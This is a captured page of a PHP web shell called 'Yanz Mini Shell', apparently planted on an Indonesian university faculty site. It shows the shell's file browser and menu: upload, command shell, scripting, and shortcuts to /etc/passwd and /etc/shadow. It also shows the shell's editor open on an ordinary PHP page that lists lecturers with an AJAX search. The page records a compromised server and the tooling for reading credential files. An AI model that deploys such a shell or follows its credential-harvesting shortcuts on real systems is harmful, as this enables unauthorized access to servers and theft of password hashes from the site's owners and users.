Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // pages/daftar-dosen.php — Halaman publik daftar semua dosen require_once __DIR__ . '/../config/config.php'; require_once __DIR__ . '/../includes/dosen_query.php'; $search = trim($_GET['q'] ?? ''); $filter_pr = (int)($_GET['prodi'] ?? 0); $page_title = 'Dosen - ' . setting('site_name'); $meta_description = 'Daftar dosen Fakultas Sains UNCP — biodata, jabatan, riset, dan publikasi.'; $dosen_list = getDosenList($conn, $search, $filter_pr); $prodi_list = $conn->query("SELECT id, nama AS nama_prodi FROM program_studi ORDER BY nama"); $prodi_list_arr = $prodi_list->fetch_all(MYSQLI_ASSOC); // dipakai ulang untuk dropdown include __DIR__ . '/../includes/header.php'; ?> <div class="page-hero" style="background: linear-gradient(135deg, #0a2b3e, #115277); color: white; padding: 80px 0 60px;"> <div class="container"> <nav style="font-size: 0.85rem; opacity: 0.8; margin-bottom: 16px;"> <a href="<?= $base_url ?>/index.php" style="color: #fff000; text-decoration: none;">Beranda</a> <span style="margin: 0 8px;">›</span> <span>Daftar Dosen</span> </nav> <h1 style="font-family: 'Poppins', sans-serif; font-size: 2.5rem; font-weight: 800;" data-aos="fade-up"> Dosen Fakultas Sains </h1> <p style="opacity: 0.85; margin-top: 8px;" data-aos="fade-up" data-aos-delay="100"> Tenaga pengajar profesional di berbagai bidang sains, teknologi, dan pendidikan. </p> </div> </div> <div class="container" style="padding: 40px 0 60px;"> <!-- Filter & Search — form ini tetap berfungsi normal kalau JS mati (progressive enhancement) --> <form method="GET" id="dosenFilterForm" class="bg-white" style="border-radius: 20px; box-shadow: 0 4px 12px rgba(0,0,0,0.05); padding: 20px; margin-bottom: 30px; display: flex; flex-wrap: wrap; gap: 12px; position: relative;"> <div style="flex: 1; min-width: 200px; position: relative;"> <input type="text" name="q" id="dosenSearchInput" value="<?= e($search) ?>" placeholder="🔍 Cari nama dosen, minat penelitian..." autocomplete="off" style="width: 100%; padding: 12px 40px 12px 18px; border: 1px solid #ddd; border-radius: 12px; font-size: 0.95rem;"> <span id="dosenSpinner" style="display:none; position:absolute; right:14px; top:50%; transform:translateY(-50%);"> <i class="fas fa-circle-notch fa-spin" style="color:#00bfff;"></i> </span> </div> <select name="prodi" id="dosenProdiSelect" style="padding: 12px 18px; border: 1px solid #ddd; border-radius: 12px;"> <option value="0">— Semua Prodi —</option> <?php foreach ($prodi_list_arr as $p): ?> <option value="<?= $p['id'] ?>" <?= $filter_pr == $p['id'] ? 'selected' : '' ?>> <?= e($p['nama_prodi']) ?> </option> <?php endforeach; ?> </select> <button type="submit" id="dosenFilterSubmit" style="background: #00bfff; color: white; border: none; padding: 12px 28px; border-radius: 12px; font-weight: 600; cursor: pointer;"> Filter </button> <a href="daftar-dosen.php" id="dosenResetLink" style="background: #f3f4f6; color: #374151; padding: 12px 24px; border-radius: 12px; text-decoration: none; font-weight: 500; <?= ($search || $filter_pr) ? '' : 'display:none;' ?>">Reset</a> </form> <div id="dosenResults" aria-live="polite"> <?php include __DIR__ . '/partials/dosen-grid.php'; ?> </div> </div> <style> #dosenResults.loading { opacity: 0.5; transition: opacity 0.15s; pointer-events: none; } </style> <script> (function () { const form = document.getElementById('dosenFilterForm'); const input = document.getElementById('dosenSearchInput'); const select = document.getElementById('dosenProdiSelect'); const submitBtn = document.getElementById('dosenFilterSubmit'); const resetLink = document.getElementById('dosenResetLink'); const results = document.getElementById('dosenResults'); const spinner = document.getElementById('dosenSpinner'); if (!form || !results) return; let debounceTimer = null; let currentController = null; function runSearch(pushState) { const q = input.value.trim(); const prodi = select.value; if (currentController) currentController.abort(); currentController = new AbortController(); spinner.style.display = 'inline-block'; results.classList.add('loading'); const params = new URLSearchParams(); if (q) params.set('q', q); if (prodi && prodi !== '0') params.set('prodi', prodi); fetch('<?= $base_url ?>/api/dosen-search.php?' + params.toString(), { signal: currentController.signal }) .then(function (res) { return res.text(); }) .then(function (html) { results.innerHTML = html; // Hapus data-aos dari kartu baru: elemen yang disuntik lewat innerHTML // tidak pernah terdeteksi observer AOS, jadi kalau dibiarkan dia akan // nyangkut di opacity:0 (invisible) selamanya. Tanpa atribut ini, // kartu langsung tampil normal. results.querySelectorAll('[data-aos]').forEach(function (el) { el.removeAttribute('data-aos'); }); spinner.style.display = 'none'; results.classList.remove('loading'); resetLink.style.display = (q || (prodi && prodi !== '0')) ? 'inline-block' : 'none'; if (pushState) { const url = 'daftar-dosen.php' + (params.toString() ? '?' + params.toString() : ''); window.history.replaceState({}, '', url); } }) .catch(function (err) { if (err.name === 'AbortError') return; // dibatalkan karena user masih mengetik spinner.style.display = 'none'; results.classList.remove('loading'); // Kalau AJAX gagal (mis. jaringan putus), fallback ke submit form biasa form.submit(); }); } input.addEventListener('input', function () { clearTimeout(debounceTimer); debounceTimer = setTimeout(function () { runSearch(true); }, 350); }); select.addEventListener('change', function () { runSearch(true); }); // Submit manual (klik tombol Filter / tekan Enter) tetap dipercepat via AJAX juga, // tapi kalau JS gagal load, form tetap submit normal (progressive enhancement). form.addEventListener('submit', function (e) { e.preventDefault(); clearTimeout(debounceTimer); runSearch(true); }); })(); </script> <?php include __DIR__ . '/../includes/footer.php'; ?>
Free Space : 56096645120 Byte